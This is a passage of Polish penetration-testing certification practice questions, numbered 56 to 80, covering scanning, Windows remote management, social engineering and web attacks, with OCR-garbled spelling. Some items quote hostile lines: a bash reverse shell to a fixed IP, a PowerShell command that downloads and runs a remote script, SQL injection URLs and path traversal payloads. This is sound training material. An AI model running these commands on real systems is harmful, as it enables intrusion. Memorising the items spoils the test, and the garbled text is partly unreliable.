B. Wszelkie polityki firmy

C. Rodzaj branzy

D. Tolerancja na uderzenia

56. Podczas zewnetrznego skanowania podatnosci tester penetracyjny wykrywa nastepujgce wyniki:



Vulnerability Ports

Multiple unsupported versions of Apache found 80, 443
SSLv3 accepted on HTTPS connections 443
Mod_rewrite enabled on Apache servers 80, 443
Windows Server host found 21

Biorac pod uwage te wyniki, jak nalezy nadac priorytet strategiom ataku?
A. Przestarzate oprogramowanie moze zawieraé wrazliwe komponenty.

B. Stosowane sg stabe praktyki zarzgdzania hastami.

C. Stabe protokoty mogg zostaé przechwycone.

D. Na serwerach internetowych mogg zosta¢ ujawnione poufne informacje.

57. Tester penetracyjny zostat poproszony o okreslenie, czy farma serwerdw klienta jest zgodna z
podstawowg wersjg oprogramowania firmy, przeprowadzajgc zdalne skanowanie. Jaki rodzaj
skanowania powinien wykonac tester, aby zweryfikowa¢ zgodnos$¢?

A. Poswiadczony skan
B. Skan wykrywania

C. Petny skan

D. Skanowanie z ukrycia

58. Jestes testerem penetracyjnym i konfigurujesz swoje rozwigzanie do zarzadzania lukami w
zabezpieczeniach, aby wykonywac uwierzytelnione skanowanie serwerdw w sieci klienta. Jakie konto
powiniene$ miec?

A. Konto administratora domeny
B. Konto administratora lokalnego
C. Zaszyfrowany certyfikat 512

D. Konto tylko do odczytu

59. Tester penetracyjny zostat poproszony przez klienta o wykonanie przegladu kodu aplikacji
internetowej. Jaki rodzaj analizy wykonuje tester penetracyjny?

A. Dynamiczna analiza kodu
B. Fuzzing

C. Btad wtrysku

D. Statyczna analiza kodu

60. Tester penetracyjny ma petny dostep do kontrolera domeny i chce wykryé wszystkie konta
uzytkownikéw, ktdre nie byty aktywne przez ostatnie 30 dni. Jakiego polecenia powinien uzy¢ tester
penetracyjny?



A. dsrm -users ,,DN=client.com; OU=hqg CN=users”
B. uzytkownik dsquery -nieaktywny 4

C. dsquery -o -rdn -limit 30

D. dsuser -nazwa -konto -limit 3

61. Ktdére z ponizszych zapewnia infrastrukture do zarzadzania systemami Windows przez sie¢ ze
scentralizowanej lokalizacji?

A. MSP
B. VNC
C. WMI
D. PROW

62. Ktéra z ponizszych funkcji systemu Windows moze by¢ uzywana do zdalnego zarzadzania
systemami Windows przez potaczenie sieciowe? (Wybierz dwa.)

A. MSP

B. Telnet

C. Zdalne PS
D. WinRM
E. SSH

63. Ktérego z ponizszych mozna uzy¢ do zdalnego zarzadzania systemami Windows przez potgczenie
sieciowe przy uzyciu graficznego interfejsu uzytkownika?

A. MSP

B. PROW

C. Zdalne PS
D. PsExec

E. SSH

64. Ktdrego z ponizszych mozna uzy¢ do zdalnego zarzadzania systemami Macintosh przez potgczenie
sieciowe przy uzyciu graficznego interfejsu uzytkownika?

A. Rlogin
B. RDP
C. ARD
D. PsExec

E. RSH



65. Ktérego z ponizszych mozna uzyé¢ do zdalnego zarzadzania systemami Windows, Macintosh lub
Linux przez potgczenie sieciowe przy uzyciu graficznego interfejsu uzytkownika (o ile jest zainstalowane
niezbedne oprogramowanie)?

A.VNC
B. PROW
C. ARD
D. WMI
E. RSH

66. Podczas testu penetracyjnego w pliku historii wykorzystywanej maszyny znaleziono nastepujacy
wiersz kodu:

bin/bash -i >& /dev/tcp/192.168.0.10/80 0> &1

Co najlepiej opisuje, co robi ta linia polecen?

A. Przeprowadzono skanowanie portu.

B. Uzyskuje baner serwera WWW.

C. Przekierowuje dalekopis (TTY) do zdalnego systemu.
D. Usuwa logi btedéw dla danego adresu IP.

67. Tester przechwycit skroty NTLM i chce przeprowadzié atak typu pass-the-hash. Niestety tester nie
wie, ktore systemy w sieci mogg zaakceptowaé hash. Jakiego narzedzia tester powinien uzy¢ do
przeprowadzenia testu?

A. Drozer
B. Hashcat
C. Hydra
D. Kismet

68. Tester korzystajacy z testdw penetracyjnych chce w czesci testu wdrozy¢ ztosliwg strone
internetowg, aby wykorzysta¢ przeglagdarki nalezgce do pracownikéw klienta. Jakie narzedzie moze
wykorzystac test?

A. Ramy Eksploatacji Przegladarki (BeEF)

B. Metasplot

C. Open Web Application Security Project (OWASP)
D. Zestaw narzedzi inzyniera spotecznego (SET)

69. Jestes testerem penetracyjnym i planujesz stworzy¢ niestandardowa liste stéw popularnych stéw i
sloganéw o swoim kliencie, korzystajgc ze strony internetowej klienta. Jak nazywa sie narzedzie,
ktdrego mozesz uzyé, aby pomdc w tworzeniu niestandardowej listy stow?

A. CeWL



B. Hashcat
C. Hydra

D. Medusa

70. Tester penetracyjny uzywa programu PowerShell do przeprowadzania testéow. Tester uzywa

nastepujacego polecenia PowerShell: powershell.exe IEX
Net.Webclient).downloadstring(http://site/script.ps1");Invoke-Command

Jaka akcja jest wykonywana przez to polecenie?
A. Wykonuje zdalny skrypt.

B. Zawiera przedmiot.

C. Uruchamia zakodowane polecenie.

D. Okresdla polityke wykonania.

Uzyj ponizszego kodu, aby odpowiedzie¢ na dwa nastepne pytania:

def today()
Print ("I need to go to the store")
todavy ()

71. Co jest uwazane za dzisiaj() w pierwszym wierszu kodu?
A. Funkcja zdefiniowana przez uzytkownika

B. Zmienna stata

C. Importowana klasa

D. Odrebna metoda

72. W trzecim wierszu kodu, co robi dzisiaj() w programie?
A. Deklaruje witasciwosci klasy.

B. Deklaruje zmienng dzisiaj().

C. Wykonuje wywotanie funkgcji.

D. Odwotuje sie do metody zmiennej spdjnej.

(Nowy

obiekt

73. Podszywanie sie pod kryminaliste jest regulowane przez prawo stanowe i jest przestepstwem,
ktore moze obejmowac kradziez tozsamosci, podszywanie sie pod funkcjonariusza lub radce prawnego
i wiele innych sposobow ataku, ktdre obejmujg spisek majacy na celu oszukanie kogos innego poprzez

udawanie kogos, kim nie jestes. Z jakimi dwoma dokumentami mozesz sie zapoznac, aby ustali¢, czy
atak socjotechniczny, ktdorego chcesz uzyé podczas zaangazowania, zostat zatwierdzony przez

organizacje? (Zaznacz wszystkie pasujgce odpowiedzi).
A. Zasady wzmocnienia (RoE)
B. Zasady zaangazowania (RoE)

C. Zestawienie pracy (SOW)



D. Umowa o poziomie ustug (SLA)

74. Robert jest wiascicielem bardzo dochodowej firmy konsultingowej, ktéra obstuguje wiele
informacji o prywatnosci dla swoich klientéw. Firma zatrudnia ponad 50 pracownikéw, ale zleca swoje
ustugi informatyczne innej firmie. Pewnego popotudnia, gdy Robert byt na lunchu, jego recepcjonistka
odebrata telefon od osoby, ktéra twierdzita, ze jest od dostawcy ustug IT i powiedziata, ze probuja
pracowac nad biletem serwisowym dla Roberta i Zze potrzebujg jego osobistego numeru telefonu
komodrkowego, aby zada¢ kilka pytan o charakterze prywatnym. Recepcjonistka wie, ze Robert nie ma
probleméw z komputerem. Jaki rodzaj ataku socjotechnicznego otrzymata recepcjonistka Roberta?

A. Spear phishing

B. Whaling

C. Baiting

D. Vishing

75. Wybierz dwie techniki, ktérych mozna uzy¢ do przeprowadzenia przeskakiwania sieci VLAN.
A. ARP spoofing

B. Double tagging

C. DNS spoofing

D. Switch spoofing

76. Twoj skan nmap identyfikuje port 445/tcp otwarty na serwerze Windows z jednym ze wspdlnych
udziatéw dostepnym i dostepnym anonimowo. Ten udziat umozliwit skanerowi wyliczenie
dodatkowych uzytkownikéw i ustug w domenie. Ktéry udziat sieciowy prawdopodobnie wymienites
podczas skanowania?

A. ADMINS
B.CS

C. IPCS

D. DOMS

77. Biorac pod uwage nastepujgcy adres URL, jakie dwie metody mozna zastosowaé do testowania
wstrzykiwania SQL wzgledem bazy danych w ramach parametréw sieci? (Wybierz dwa.)

http://example.com/page.php?id=1&acct=162;jsessionid=567323456798
A. ?id=1'&acct=144;jsessionid=567323456798

B. ?id=1'&acct=162";jsessionid=567323456798

C. ?id=1;--&acct=162;jsessionid=567323456798

D. ?id=1'&acct=144";jsessionid=567323456798

78. Natrafiasz na strone internetowg, ktdra wymaga uwierzytelnienia przy uzyciu prawidtowej nazwy
uzytkownika i loginu. Korzystajac z CeWL, decydujesz sie zbudowac witasng liste stéw, korzystajac z
tresci pochodzacych ze strony internetowej. Witryna ma wiele stron, wiec decydujesz sie rozpoczac¢ od



strony index.html i przejsc pie¢ stron w gtgb witryny, aby zidentyfikowac dtugosci stow, ktére maja co
najmniej osiem znakow. Jakie opcje polecen pomogg Ci zbudowac liste stéw, ktdrej szukasz?

A.-d5-8

B.-w8-d5
C.-m8-d5
D.-a8-d5

79. Podczas testowania aplikacji sieci Web dziatajgcej w systemie Windows Server 2016 mozna znalezé
podatnos¢ parametru sieci Web na atak z przechodzeniem Sciezki. Ktdra z ponizszych opcji bytaby
najlepszym wyborem do zademonstrowania ataku polegajgcego na przechodzeniu sciezki?

A. ?id=C:\Windows\system32\etc/passwd
B. ?id=../../../../C:/Windows/etc/passwd
C. ?id=%20.%20C:/Windows/boot.ini

D. ?id=..\..\..\...\C:/Windows/boot.ini

80. Ktére z ponizszych sg prawidtowymi atakami po stronie klienta? (Zaznacz wszystkie pasujace
odpowiedzi).

A. Clickjacking

B. Command injection

C. Directory traversal

D. Reflected HTML injection
E. DOM-based XSS

F. Session hijackingi



